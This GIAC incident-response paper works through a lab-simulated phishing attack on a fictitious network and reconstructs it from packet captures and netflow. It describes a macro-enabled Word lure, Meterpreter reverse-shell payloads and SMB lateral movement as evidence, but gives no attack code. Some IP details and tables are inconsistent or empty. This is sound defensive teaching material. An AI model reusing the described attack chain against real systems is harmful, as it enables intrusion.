Use offense to inform defense. Find flaws before the bad guys do.
A Practical Example of Incident Response to a Network Based Attack

GIAC (GCIH) Paper

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Abstract

A commonly accepted Incident Response (IR) process includes six phases: Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned. This paper examines this process in the context of a practical working example of a network based attack. It begins with the identification of a potential incident, followed by the detailed analysis of the network traffic to reconstruct the actions of the attacker, and leads up to determining indicators of compromise that can be used to identify other victims. This paper provides a practical example of responding to a network based incident.
1. Introduction

A commonly accepted Incident Response (IR) process includes six phases: Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned (Skoudis, Strand, and SANS, 2014). This paper examines this process in the context of a practical working example of a network based attack. It begins with the identification of a potential incident, followed by the detailed analysis of the network traffic to reconstruct the actions of the attacker, and leads up to determining indicators of compromise that can be used to identify other victims or future victims. This paper provides a practical example of responding to a network based incident.

During the Identification phase, the Incident Handler analyzes events to determine if an incident has occurred. An event is simply something happening. An incident is an event which causes or attempts to cause harm. During Containment, the Incident Handler tries to prevent the attacker from causing further damage or continuing with the attack. During the Eradication phase, the goal is to remove artifacts of the attack from the systems, data stores, etc. The IR Handler analyzes the incident to determine its cause and symptoms. The organization wants to be able to take the necessary steps to prevent a reoccurrence of the attack and to identify if it does reoccur. During the Recovery phase, the healthy system is placed back into production. System administrators monitor these systems for signs of a reoccurrence of the attack. During the Lessons Learned phase, a report is written detailing what happened and identifying ways to improve the organization’s capabilities to protect against and respond to incidents. The IR process is cyclical. The Lessons Learned phase leads back into the Preparation phase where adjustments are made to account for such things as what went right, what went wrong, and what they would do differently.

The focus of this paper will be on the Identification and Containment Phases. Such things as corporate policies, criticality of the application, and the data present on the system govern the actions taken during Eradication and Recovery. For example, in the case of desktops policy may be to simply reimage them to avoid the potential of artifacts...
that were left behind being the vector of additional compromises. The Eradication, Containment, and Lesson Learned phases are beyond the scope of this paper.

A fictitious organization, Winterfell, was created in an isolated lab for this exercise. The lab environment was set up to execute the attack, capture network data, and perform the analysis. Simulated attacks were conducted, with network traffic captured for analysis. Details of the attack are in Appendix A. Specific configuration of the desktops necessary to ensure the attacks are successful is found in Appendix B.

Much attention in the press talks about phishing attacks and SPAM emails. Mandiant’s M-Trends 2017 report discusses the attack vector of phishing emails and macro enabled documents (Mandiant, 2017). This paper uses a phishing email as the initial attack vector as it is relevant to the current threat landscape.

2. The Lab Environment

The lab environment was set up using VMWare Workstation as shown in Figure 1. The lab environment contained three subnets. Two subnets are internal networks – a server network, 192.168.10.0/24, and a desktop network, 192.168.11.0/24. The other subnet, 192.168.239.0/24, is an external network. The internal subnets are part of the winterfell.local domain and the external subnet is part of the westeros.local domain.
Access to Winterfell’s internal network from the external network is restricted via a firewall to two services: DNS (ports 53/UDP and 53/TCP) and email (port 25/TCP). The firewall blocks all other access initiated from the external network. The DNS server, ns1.winterfell.local, has an IP address of 192.168.10.230. The email server, mail.winterfell.local, has an IP address of 192.168.11.140. For simplification of the lab environment, the DNS server also serves as the external DNS server, ns1.westeros.local. There are no restrictions placed on users on the Winterfell network accessing resources outside the internal network. Communication between the two internal networks is unrestricted.

The lab environment contained the following systems:

- DNS server -- a Centos 7 server with bind installed.
- Mail server -- a Centos 7 server with Postfix and Dovecot installed.
- Firewall/Router -- a Centos 7 server configured with port forwarding and uses iptables as the firewall.
- Desktops -- Windows 7 SP1 with Microsoft Office 2010 installed.
Two attacker systems:

- Kali Linux. DNS has been configured to resolve ironislands.westeros.local to this system.
- Desktop -- Windows 7 SP1 used to build the malicious document.

Tools are available to assist the incident responder in the collection of data. These included Tcpdump and Wireshark for full packet capture, passiveDNS for DNS logging, the Nfdump suite of tools for netflow, and Snort for intrusion detection. Other tools for analyzing artifacts, like exiftool, are available and will be mentioned later in the document. The paper “Building a Home Network Configured to Collect Artifacts for Supporting Network Forensic Incident Response” provides information on setting up a similar environment for network packet capture (Fraser, 2016).

A weakness of VMWare Workstation is that one cannot put the Virtual Switch into promiscuous mode and collect all traffic that goes through the switch. It does allow, however, for the collection of network traffic on individual hosted machines. Network traffic collected from multiple locations using Tcpdump, Tshark, or Wireshark needs to be merged. Wireshark’s mergecap utility is used to merge the separate packet captures into a single file. The editcap utility is used to remove duplicates. Tcpdump was used to capture packets on Linux and Wireshark was used on Windows. The following summarizes information about the resulting packet capture.

```
# capinfos dedup.pcap
File name: dedup.pcap
File type: Wireshark/... - pcapng
File encapsulation: Ethernet
Packet size limit: file hdr: (not set)
Number of packets: 48 k
File size: 15 MB
Data size: 13 MB
Capture duration: 9794 seconds
Start time: Sat Jul 29 14:04:47 2017
End time: Sat Jul 29 16:48:01 2017
... snip ...
SHA1: 12d1356c409d91398fe7e8f58be2991f49c2df05
RIPEMD160: c802a3e550f516dd16e60608c7c2c35fb4c3a54f
MD5: 77e3d51a113b660d07d21bed018f6e70
Strict time order: True
```

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File3: p1a.pcap

Netflow (nfdump/nfpcapd), passiveDNS, and Snort were populated from the full packet files as shown below.

```
# nfpcapd -r dedup.pcap -l /var/log/netflow
Add extension: 2 byte input/output interface index
Add extension: 4 byte input/output interface index
Add extension: 2 byte src/dst AS number
Add extension: 4 byte src/dst AS number
Startup.
[140316014221120] WaitDone() waiting
Nodes in use: 3, Flows: 1 CacheOverflow: 0
Ident: 'none' Flows: 1, Packets: 4, Bytes: 564, Max Flows: 1
Nodes in use: 20, Flows: 6 CacheOverflow: 0
... snip ...
Terminating flow processng: exit: 0
Exit status thread[140315795453696]: 0
Terminating nfpcapd.
```

```
# snort -c /etc/snort/snort.conf -q -k none -l /var/log/snort -r dedup.pcap

# passivedns -r dedup.pcap -d '|

[*] PassiveDNS 1.2.0
[*] By Edward Bjarte Fjellskål <edward.fjellskaal@gmail.com>
[*] Using libpcap version 1.5.3
[*] Using ldns version 1.6.16
[*] Reading from file dedup.pcap

-- Total DNS records allocated   :   6
-- Total DNS assets allocated    :   6
-- Total DNS packets over IPv4/TCP :   8
-- Total DNS packets over IPv6/TCP :   0
-- Total DNS packets over TCP decoded :   2
-- Total DNS packets over TCP failed :   6
-- Total DNS packets over IPv4/UDP :  54
-- Total DNS packets over IPv6/UDP :   0
-- Total DNS packets over UDP decoded :  46
-- Total DNS packets over UDP failed :   8
-- Total packets received from libpcap :  791
-- Total Ethernet packets received :  791
-- Total VLAN packets received    :   0

[*] passivedns ended.
```

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Since PassiveDNS stores timestamps in UNIX format (Hagen, 2015), we convert it to a more friendly, human readable format using:

```
# cat passivedns.log | awk -F'|' '{OFS="|"; printf("%s",strftime("%Y-%m-%d %H:%M:%S",$1));$1=""; print $0)'} > passivedns-ts.log
```

Time should be synchronized within an organization to allow for the effective correlation of computer data such as log files, network traffic, and file timestamps. Time synchronization saves the incident responder frustration and work by not requiring him to manually correlate times between artifacts collected from different systems. It also helps avoid error introduced through correlation. Network Time Protocol (NTP) is commonly implemented to provide accurate times services and allow for consistency among computers on the network.

In addition to time synchronization, incident responders frequently use Coordinated Universal Time (UTC) to eliminate conversion issues with time zones. The Incident Response section follows this convention. This is not so important to the attacker. Since the attack occurred in the Eastern Standard Time (EST) zone, Appendix A, which focuses on the attack, uses EST.

### 3. Incident Response

#### 3.1. Identification Phase

Arya Stark received an email and thought it looked suspicious. She would never have expected Theon Greyjoy to send her an email, let alone an email containing a picture of Jon’s Direwolf, Ghost. As a result, she reported it to Security as suspicious. Arya forwarded them a copy of the email so that they could examine it.
At this point, receipt of the email is still an event. The attached document appears to be a Word document which allows macros since it has the docm extension. The extension indicates Word 2007 or newer.

The first action is to calculate the MD5 hash of the document and email and to make a copy of the original document. Making a copy allows analysis to be performed on a copy while retaining the original document as evidence. Maintaining a chain of custody is always the best practice.

```bash
$ md5sum Ghost.docm
07d668cff97121bb2ba3549192b97f76 *Ghost.docm

$ md5sum 'Picture of Ghost (52.2 KB).msg'
c3fc499620efd77f1d5d783cc7ec2fd6 *Picture of Ghost (52.2 KB).msg
```

The Linux file command confirms that the file is indeed a Microsoft Word 2007+ document.

```bash
$ file Ghost.docm
Ghost.docm: Microsoft Word 2007+
```

The exiftool is a quick way to examine the file’s metadata. It confirms the file is a macro enabled Microsoft Word file. It also identifies the creator of the document as Cersei Lannister, who is no friend of the Starks and Winterfell. This fact adds to the suspicious nature of the email.

```bash
$ ./exiftool.exe Ghost.docm
```

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The next step in analyzing the Word document, since it is in Word 2007+ format, might be to extract the components of the Word file. The macro can be extracted using the inflate parameter of OfficeMalScanner (SANS, 2015). OfficeMalScanner extracts the macro as vbaProject.bin.

```
[*] INFLATE mode selected
[*] Opening file Ghost.docm
[*] Filesize is 51224 (0xc818) Bytes
[*] Microsoft Office Open XML Format document detected.

Found 16 files in this archive

[CONTENT_TYPES].XML ----- 1614 Bytes ----- at Offset 0x00000000
_RELIS/.RELS ----- 590 Bytes ----- at Offset 0x000003ed
WORD/_RELS/DICTIONARY.XML.RELS ----- 1207 Bytes ----- at Offset 0x00000711
WORD/DOCUMENT.XML ----- 2687 Bytes ----- at Offset 0x000009a5
WORD/_RELS/VBAPROJECT.BIN.RELS ----- 277 Bytes ----- at Offset 0x0000dca
```

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Next, the info parameter of OfficeMalScanner can be used to determine if there is a macro in the document and to extract the macro, if found (SANS, 2015).

C:\Users\security\AppData\Local\Temp\DecompressedMsOfficeDocument\word>"\Program Files\OfficeMalScanner\OfficeMalScanner.exe" vbaProject.bin info

+------------------------------------------+
|           OfficeMalScanner v0.62         |
|  Frank Boldewin / www.reconstructer.org  |
+------------------------------------------+

[*] INFO mode selected
[*] Opening file vbaProject.bin
[*] Filesize is 14848 (0x3a00) Bytes
[*] Ms Office OLE2 Compound Format document detected

[Scanning for VB-code in VBAPROJECT.BIN]

VB-MACRO CODE WAS FOUND INSIDE THIS FILE!
The decompressed Macro code was stored here:

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Calculate the MD5 hash of the extracted VBA macro and make a copy.

```bash
$ md5sum vbaProject.bin
fcbf7dfa8a367721166e77350b98b32c *vbaProject.bin
```

We have enough information to classify this email as a security incident and to justify further analysis. It didn’t take long to make the determination. We could have also submitted the macro to VirusTotal (https://www.virustotal.com/) for analysis as shown below. 29 out of 57 products it submitted the sample to classified the sample as malicious. Submitting the email sent to security as an attachment by Arya to VirusTotal would also have detected the malicious nature of the email.
3.2. Containment Phase

Now that we determined that the email is likely a phishing email, we want to identify who the emails were sent to so that we can limit the damage it can cause. Thankfully, Winterfell’s IT Department performs full packet captures. The packet captures can be used to search for the emails.

Using Wireshark and the display filter of SMTP contains “Subject: Picture of Ghost”, we can determine that five emails contained the subject line. If there were a lot more emails, then Tshark could be used to generate a manageable list.

The display can be further refined to include only those emails associated with astark.

Wireshark has a feature, follow TCP stream, which enables the analyst to select a TCP stream for analysis. This feature filters on the selected TCP stream and displays the data in order in a pop-up dialog box. The dialog box provides additional capabilities such as displaying the data in ASCII or raw (hex) and exporting the data to a file.

Using Wireshark’s follow TCP stream provides information about the origin of the email. It looks like it came directly from the source with no intervening mail relay servers. That provides an IP address to investigate, 192.168.239.130. Furthermore, it identifies the mail client as sendEmail-1.56. SendEmail is a lightweight, command line...
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SMTP email client [Zehm, 2010], not what you would expect someone to use as an email client. The exchange also gives a host name of the originating computer as casterlyrock.westeros.local. One would not expect Theon to have an association with CasterlyRock. Examination of the other three emails reveals the same characteristics and text, so they can be concluded to be related.

```
220 mail.winterfell.local ESMTP Postfix
EHLO casterlyrock.westeros.local
250=PIPELINING
250-SIZE 10240000
250=VRFY
250=ETRN
250=STARTTLS
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:<tgreyjoy@westeros.local>
250 2.1.0 Ok
RCPT TO:<astark@winterfell.local>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Message-ID: <735326.024561317-sendEmail@casterlyrock>
From: "tgreyjoy@westeros.local" <tgreyjoy@westeros.local>
To: "astark@winterfell.local" <astark@winterfell.local>
Subject: Picture of Ghost
Date: Sat, 29 Jul 2017 15:17:04 +0000
X-Mailer: sendEmail-1.56
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----MIME delimiter for sendEmail-636869.716997357"

This is a multi-part message in MIME format. To properly display this message you need a MIME-Version 1.0 compliant Email program.

-----MIME delimiter for sendEmail-636869.716997357
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Arya,

Attached is a picture I took of Jon's Direwolf, Ghost. I thought you would like it.

Theon

-----MIME delimiter for sendEmail-636869.716997357
Content-Type: application/msword;
name="Ghost.docm"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Ghost.docm"
```

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Looking at the five instances of the subject line of “Picture of Ghost” identifies four recipients of the email as listed below as well as the email that Arya sent to security@winterfell.local. All four emails appear to come from the same IP address, 192.168.239.130 and target Arya Stark, Brandon Stark, Jon Snow, and Sansa Stark. The Message ID uniquely identifies each the email. The mail queue ID can be used by the mail system administrator to find the email in the postfix mail server so they can remove the email thus preventing any further damage.

<table>
<thead>
<tr>
<th>Date</th>
<th>To</th>
<th>Message ID</th>
<th>Mail Queue ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-07-29 15:17:04 +0000</td>
<td><a href="mailto:astark@winterfell.local">astark@winterfell.local</a></td>
<td>735326.024561317</td>
<td>EA93644352AA</td>
</tr>
<tr>
<td>2017-07-29 15:17:32 +0000</td>
<td><a href="mailto:bstark@winterfell.local">bstark@winterfell.local</a></td>
<td>682725.488531531</td>
<td>DA77744352AA</td>
</tr>
<tr>
<td>2017-07-29 15:17:51 +0000</td>
<td><a href="mailto:jsnow@winterfell.local">jsnow@winterfell.local</a></td>
<td>609102.593825327</td>
<td>8C90A44352AA</td>
</tr>
<tr>
<td>2017-07-29 15:18:36 +0000</td>
<td><a href="mailto:sstark@winterfell.local">sstark@winterfell.local</a></td>
<td>358526.581290306</td>
<td>02ECA44352AA</td>
</tr>
</tbody>
</table>

From our network architecture, we can identify the four systems associated with the four targeted individuals: Jon Snow - 192.168.11.101, Bran Stark - 192.168.11.102, Arya Stark - 192.168.11.103, and Sansa Stark - 192.168.11.104. These four systems are all potentially compromised. The incident responders want to identify the compromised systems.

We can start with looking at who communicated with the suspicious system at 192.168.239.130? The netflow tool, nfdump, can help.

```
# nfdump -R /var/log/netflow -q -O tstart -A srcip,dstip -o 'fmt:%ts %sa %da %byt %fl' 'ip 192.168.239.130' | awk 'BEGIN{ printf "Start time", "Source", "Dest", "Bytes", "Flows"};{print};'
```

<table>
<thead>
<tr>
<th>Start time</th>
<th>Source</th>
<th>Dest</th>
<th>Bytes</th>
<th>Flows</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-07-29 14:05:49.113</td>
<td>192.168.239.130</td>
<td>192.168.10.230</td>
<td>2063</td>
<td>34</td>
</tr>
</tbody>
</table>

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From the Netflow, we see that the first traffic flow from 192.168.239.130 began at 14:05 UTC to 192.168.10.230, the DNS server. A short time later traffic flowed to 192.168.10.140, the mail server. Of particular interest are the 50 flows with 192.168.11.104, amounting to around 7.2 M of data transferred, which began at 15:33. Also of interest are the flows from 192.168.11.101, which began a little later at 16:17 and amounted to about 2.8 M of data.

Focusing on the traffic between 192.168.239.130 and 192.168.11.104 summarizes it into three conversations. We will look at each conversation.

The first conversation was initiated by the victim and consists of an HTTP Get statement, followed by the download of a large file. The following screen shot displays the first part of the Wireshark display of packets.

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Examination of the “Follow TCP flow” of this conversation identifies this as an executable from the two indicators: starting with MZ and the text “This program cannot be run in DOS mode.” Other indicators that this is an executable include the PE (PE Header), and the text, reloc, and data statements.
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The incident responder extracts the executable from the Follow TCP stream window by filtering on the flow from 192.168.239.130 and saving the data as RAW with a file name of exe-01. Next, he calculates the executable’s MD5 hash.

```
$ md5sum exe-01
091aa4ec97f4802feb4be7d7de61cfc8  *exe-01
```

VirusTotal indicated that 21 out of 57 anti-virus tools thought the executable was malicious. A number of the tools identified the executable as Meterpreter. Given that the victim initiated the traffic and is HTTP traffic, it is probably a windows/meterpreter/reverse_http payload. We now have some information that can be passed on to the Windows Forensics Analyst.

Examination of the network flows provides insight into the nature of the second conversation. It starts out with a large number of packets initially being exchanged and then slows down to a regular exchange of 90 bytes every 5 seconds. This pattern is a characteristic of Command and Control (C&C) traffic. The packets are encrypted so we cannot say what is in the traffic just by examining it. This is also a characteristic of Metasploit’s windows/meterpreter/reverse_http payload behavior.

```
# nfdump -R /var/log/netflow -q -O tstart -o 'fmt:%ts %sap %dap %pkt %byt %fl' 'ip 192.168.239.130 and ip 192.168.11.104 and port 49161' | cut -c 12-19,25- | awk 'BEGIN{ printf "%8s %21s  %21s %8s %8s %5s \n", "Start", "Source", "Dest", "Packets", "Bytes", "Flows"};{print}';
```

<table>
<thead>
<tr>
<th>Start</th>
<th>Source</th>
<th>Dest</th>
<th>Packets</th>
<th>Bytes</th>
<th>Flows</th>
</tr>
</thead>
<tbody>
<tr>
<td>15:33:58</td>
<td>192.168.11.104:49161</td>
<td>192.168.239.130:80</td>
<td>145</td>
<td>29057</td>
<td>1</td>
</tr>
<tr>
<td>15:35:01</td>
<td>192.168.11.104:49161</td>
<td>192.168.239.130:80</td>
<td>422</td>
<td>77179</td>
<td>1</td>
</tr>
<tr>
<td>15:35:01</td>
<td>192.168.239.130:80</td>
<td>192.168.11.104:49161</td>
<td>292</td>
<td>39016</td>
<td>1</td>
</tr>
<tr>
<td>15:40:01</td>
<td>192.168.239.130:80</td>
<td>192.168.11.104:49161</td>
<td>380</td>
<td>72208</td>
<td>1</td>
</tr>
<tr>
<td>15:40:01</td>
<td>192.168.11.104:49161</td>
<td>192.168.11.104:49161</td>
<td>613</td>
<td>525458</td>
<td>1</td>
</tr>
<tr>
<td>15:45:00</td>
<td>192.168.11.104:49161</td>
<td>192.168.239.130:80</td>
<td>112</td>
<td>15456</td>
<td>1</td>
</tr>
<tr>
<td>15:45:00</td>
<td>192.168.239.130:80</td>
<td>192.168.11.104:49161</td>
<td>56</td>
<td>7728</td>
<td>1</td>
</tr>
<tr>
<td>15:50:06</td>
<td>192.168.11.104:49161</td>
<td>192.168.239.130:80</td>
<td>62</td>
<td>8556</td>
<td>1</td>
</tr>
<tr>
<td>15:50:06</td>
<td>192.168.239.130:80</td>
<td>192.168.11.104:49161</td>
<td>31</td>
<td>4278</td>
<td>1</td>
</tr>
<tr>
<td>15:55:01</td>
<td>192.168.11.104:49161</td>
<td>192.168.239.130:80</td>
<td>60</td>
<td>8280</td>
<td>1</td>
</tr>
<tr>
<td>15:55:01</td>
<td>192.168.239.130:80</td>
<td>192.168.11.104:49161</td>
<td>30</td>
<td>4140</td>
<td>1</td>
</tr>
<tr>
<td>16:00:02</td>
<td>192.168.11.104:49161</td>
<td>192.168.239.130:80</td>
<td>60</td>
<td>8280</td>
<td>1</td>
</tr>
<tr>
<td>16:00:02</td>
<td>192.168.239.130:80</td>
<td>192.168.11.104:49161</td>
<td>30</td>
<td>4140</td>
<td>1</td>
</tr>
<tr>
<td>16:05:02</td>
<td>192.168.11.104:49161</td>
<td>192.168.239.130:80</td>
<td>60</td>
<td>8280</td>
<td>1</td>
</tr>
<tr>
<td>16:05:02</td>
<td>192.168.239.130:80</td>
<td>192.168.11.104:49161</td>
<td>30</td>
<td>4140</td>
<td>1</td>
</tr>
<tr>
<td>16:10:03</td>
<td>192.168.11.104:49161</td>
<td>192.168.239.130:80</td>
<td>60</td>
<td>8280</td>
<td>1</td>
</tr>
</tbody>
</table>

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Examining the traffic in Wireshark we see several characteristics of immediate interest. The victim initiated the network traffic. After the ACK of the three-way handshake there is a small 4 byte payload containing 0x2f9e0e00; and there is a large amount of data that is transferred from the attacker.
Wireshark’s Follow TCP stream indicates that the conversation begins with the download of an executable. The file starts out with the telltale MZ, the text “This program cannot be run in DOS mode”, the PE, text, reloc, and data sections.

```
MZ....[REU....B................;Sj.P....................................
$L. This program cannot be run in DOS mode.

.......................\Text...
......................\data\......................\reloc...\...

... snip ...
```

The incident responder extracts the executable from Wireshark’s Follow TCP stream window by copying and pasting the raw hex characters into notepad+ with a file name of ex-02-hex. The file is converted to binary using xxd. Next, he calculates the executable’s MD5 hash.

```
$ cat ex-02-hex.txt | xxd -r -p > ex-02
```

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VirusTotal indicated that 38 out of 63 anti-virus products identify the executable as malicious. Many of the products identified it as Meterpreter. If it is Metasploit’s Meterpreter payload, then it may be the windows/meterpreter/reverse_tcp payload. Three things point to this identification. The victim initiated the traffic, the traffic is TCP, and the four-byte packet after the three-way TCP handshake is a characteristic of Metasploit’s Meterpreter reverse_tcp payload.

Unfortunately, Meterpreter is encrypted so that the activities that the attacker did is not accessible from the network traffic. If the organization wants to know more, then forensic analysis can be performed on the systems.

Now that we have established that 192.168.11.104 was compromised, the question turns to was this system used as a pivot point to do further damage to other systems in the network. Once again nfdump can assist us. The following query identifies who 192.168.11.104 communicated with.

```
# nfdump -R /var/log/netflow -q -O tstart -A srcip,dstip -o 'fmt:%ts %sa %da %byt %fl' 'ip 192.168.11.104' | awk 'BEGIN{printf "%-23s %-16s %-15s %-8s %-5s\n", "Start time", "Source", "Dest", "Bytes", "Flows"};{print};'

<table>
<thead>
<tr>
<th>Start time</th>
<th>Source</th>
<th>Dest</th>
<th>Bytes</th>
<th>Flows</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-07-29 15:33:06.087</td>
<td>192.168.11.104</td>
<td>192.168.10.140</td>
<td>610</td>
<td>8</td>
</tr>
<tr>
<td>2017-07-29 15:33:06.090</td>
<td>192.168.11.104</td>
<td>192.168.10.140</td>
<td>2532</td>
<td>1</td>
</tr>
<tr>
<td>2017-07-29 15:33:06.091</td>
<td>192.168.11.104</td>
<td>192.168.10.140</td>
<td>159244</td>
<td>1</td>
</tr>
<tr>
<td>2017-07-29 15:33:06.125</td>
<td>192.168.11.104</td>
<td>224.0.0.252</td>
<td>120</td>
<td>2</td>
</tr>
<tr>
<td>2017-07-29 15:33:06.454</td>
<td>192.168.11.104</td>
<td>192.168.11.104</td>
<td>1433</td>
<td>7</td>
</tr>
<tr>
<td>2017-07-29 15:33:56.982</td>
<td>192.168.11.104</td>
<td>192.168.239.130</td>
<td>5.0 M</td>
<td>25</td>
</tr>
<tr>
<td>2017-07-29 15:33:56.982</td>
<td>192.168.239.130</td>
<td>192.168.11.104</td>
<td>2.2 M</td>
<td>25</td>
</tr>
<tr>
<td>2017-07-29 15:40:51.205</td>
<td>192.168.11.104</td>
<td>239.255.255.250</td>
<td>2376</td>
<td>3</td>
</tr>
<tr>
<td>2017-07-29 15:57:54.978</td>
<td>192.168.11.104</td>
<td>192.168.11.104</td>
<td>40</td>
<td>1</td>
</tr>
<tr>
<td>2017-07-29 15:57:54.978</td>
<td>192.168.11.104</td>
<td>192.168.11.104</td>
<td>40</td>
<td>1</td>
</tr>
<tr>
<td>2017-07-29 15:58:24.693</td>
<td>192.168.11.104</td>
<td>192.168.11.104</td>
<td>350881</td>
<td>3724</td>
</tr>
<tr>
<td>2017-07-29 15:58:24.695</td>
<td>192.168.11.104</td>
<td>192.168.11.104</td>
<td>3720</td>
<td>41</td>
</tr>
</tbody>
</table>
```

Examining the traffic with the mail server, 192.168.10.140, shows SSL traffic being exchanged over TCP port 995. This is the POP3 port used by Winterfell for delivering mail to the Outlook client installed on the desktop. Since the traffic is encrypted we cannot examine it. This communication with the mail occurred less than a

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minute before communication began with the attacker, 192.168.239.130 on port 80 identified earlier.

We can look at the DNS logs to see what it reports on DNS lookups from 192.168.11.104. Nothing shows up. This usually means one of two things. Either DNS was not queried or the hostname was already in DNS cache. However, since Wireshark contained the packets, there is another explanation. The missing log records are the errors not processed by PassiveDNS. The processing error could be due to the Wireshark capturing the packets prior to the NIC, so they did not have the necessary padding, and thus were not recognized by PassiveDNS as valid DNS packets.

Filtering out Windows updates and msn.com in Wireshark, we see the DNS traffic of interest. At 15:33:06, the system at 192.168.11.104 queried the DNS server to resolve mail.winterfell.local. At 15:33:56, the system at 192.168.11.104 queried the DNS server to resolve ironislands.westeros.local, which resolves to the attacker box, 192.168.239.130. The ironislands.westeros.local query occurred just before the initiation of communication with the attacker. This DNS query could be another indicator of compromise (IoC) that can be used by incident responders looking for potentially compromised systems.

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From the summary of netflow, we see a large number of flows between 192.168.11.104 and 192.168.11.101, 192.168.11.102, and 192.168.11.103. This number of flows between desktops could be considered unusual. A quick look at the traffic in Wireshark indicates they could be scanning activity. The netflow summary below confirms this. The output for a similar query against 192.168.11.102 and 192.168.11.103 are the same and so omitted from this paper. Scanning of 192.168.11.101 began at 16:03:56; scanning of 192.168.11.102 began at 16:12:02; and scanning of 192.168.11.103 began at 16:12:33.

```bash
# nfdump -R /var/log/netflow -q -O tstart -b -c 8 -o 'fmt:%ts %sap %dap %byt %flg' 'ip 192.168.11.104 and ip 192.168.11.101 and flags S and not flags AFRPU' | cut -c 12- | awk 'BEGIN{ printf "%12s %22s  %18s %11s %5s \n", "Start time", "Source", "Dest", "Bytes", "flags"};{print};'
```

<table>
<thead>
<tr>
<th>Start time</th>
<th>Source</th>
<th>Dest</th>
<th>Bytes</th>
<th>flags</th>
</tr>
</thead>
</table>

There is no non-scan traffic to 192.168.11.102 and 192.168.11.103. There is other traffic from 192.168.11.104 to 192.168.11.101 on TCP port 445 that began at 16:17:38. This is of particular interest as we earlier identified traffic, around 2.8 M of data, beginning at 16:17 from 192.168.11.101 to the attacker at 192.168.239.130.

```bash
# nfdump -R /var/log/netflow -q -O tstart -b -c 10 -o 'fmt:%ts %sap %dap %byt %flg' 'ip 192.168.11.104 and ip 192.168.11.101 and flags SA' | cut -c 12- | awk 'BEGIN{ printf "%12s %22s  %18s %11s %5s \n", "Start time", "Source", "Dest", "Bytes", "flags"};{print};'
```

<table>
<thead>
<tr>
<th>Start time</th>
<th>Source</th>
<th>Dest</th>
<th>Bytes</th>
<th>flags</th>
</tr>
</thead>
</table>

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A Practical Example of Incident Response to a Network Based Attack

The first four flows look like they are part of the scan traffic. The last one is more interesting. It looks like a completed session with a transfer of data. This traffic is unusual in that we are not expecting SMB traffic between desktops.

Looking closer at the last flow using netflow we see that the flow lasted for a short duration of time. Less than a second.

```
# nfdump -R /var/log/netflow -q -O tstart -b -o 'fmt:%ts %te %sap %dap %byt'
   'ip 192.168.11.104 and ip 192.168.11.101 and port 53613' | cut -c 12-19,24,35-42,47 | awk 'BEGIN{ printf "%8s  %8s  %21s %21s %10s\n", "Start", "End", "Source", "Dest", "Bytes"};{print};'
```

```
Start       End                 Source                  Dest      Bytes
```

Looking at the traffic in Wireshark, we see SMB traffic initiated from the victim computer, 192.168.11.104 to another internal system at 192.168.11.101 at 16:17 UTC. Netflow identifies the traffic as containing only 3691 bytes and lasting a fraction of a second. From Wireshark, we know the attacker used Jon Snow’s user name, jsnow, in the attack. This tells us that the Jon Snow’s user account is compromised. We can assume that other passwords may be compromised. We know that a file called \svcctl was deposited and executed on the system at 192.168.11.101.
An attempt was made to extract the file for analysis using Wireshark’s File > Export Objects > SMB. This data transfer was labeled as a pipe with zero bytes. Extraction was unsuccessful.

Looking at the DNS log we see an entry for a DNS lookup for ironislands.westeros.local originating from 192.168.11.101. This is one of our IoCs, however, we do not see traffic to the mail server on port 995 indicating that mail was checked, so the compromise came from another source.

```
# grep '192.168.11.101' passivedns-ts.log
```

```
```

Returning to the traffic between 192.168.11.101 and the attacker, 192.168.239.130 we see two conversations. One on TCP port 4444 and the other on TCP port 8082. We examine each one.

```
# nfdump -R /var/log/netflow -q -tstart -b -o 'fmt:%ts %sap %dap %byt %fl' 'ip 192.168.239.130 and ip 192.168.11.101' | cut -c 12- | awk 'BEGIN{ printf "%12s %22s  %20s %9s %5s\n", "Start time", "Source", "Dest", "Bytes", "Flows"};{print};'
```

```
Start time     Source                  Dest     Bytes Flows
16:17:44.385   192.168.11.101:49166  192.168.239.130:4444     18254     8
16:33:45.734   192.168.11.101:49169  192.168.239.130:8082     10306     2
```

Examination of the traffic on TCP port 4444 in Wireshark looks like a file download.

![Wireshark Traffic Capture](image)

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Wireshark’s Follow TCP stream indicates that the conversation begins with the download of an executable. Once again we see the file starts out with the telltale MZ, the text “This program cannot be run in DOS mode”, the PE, text, reloc, and data sections.

The incident responder extracts the executable from Wireshark’s Follow TCP stream window by copying and pasting the raw hex characters into notepad+ and then converted to binary using xxd as before. Next, he calculates the executable’s MD5 hash.

```
# cat exe-03.txt | xxd -r -p > ex-03
# md5sum ex-03
518afbf3bb3ccdf41b3523a743a16239  ex-03
```

VirusTotal indicated that 38 out of 63 anti-virus products identify the extracted binary file as malicious. Many of the products identified it as Meterpreter. If it is a Metasploit Meterpreter payload, then it may be the windows/meterpreter/reverse_tcp payload. Three things point to this identification. The victim initiated the network traffic, the traffic is TCP, and the four-byte packet after the three-way TCP handshake is a characteristic of Metasploit’s Meterpreter reverse_tcp payload.

Examination of the traffic on TCP port 8082 in Wireshark also looks like a file download.
Wireshark’s Follow TCP stream indicates that the conversation begins with the download of an executable:

```
 executable
This program cannot be run in DOS mode.
```

The incident responder extracts the executable from Wireshark’s Follow TCP stream window by copying and pasting the raw hex characters into notepad+ and then converting it to binary using xxd as before. Next, he calculates the executable’s MD5 hash.

```
# cat exe-04-hex.txt | xxd -r -p > ex-04
# md5sum ex-04
b8e9c33c0492be88d4ba4631c45956d1  ex-04
```

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VirusTotal indicated that 43 out of 64 anti-virus products identify the extracted binary as malicious. Many of the products identified it as Meterpreter. If it is a Metasploit Meterpreter payload, then it may be the windows/meterpreter/reverse_tcp payload. Three things point to this identification. The victim initiated the traffic, the traffic is TCP, and the four-byte packet after the three-way TCP handshake is a characteristic of Metasploit’s Meterpreter reverse_tcp payload.

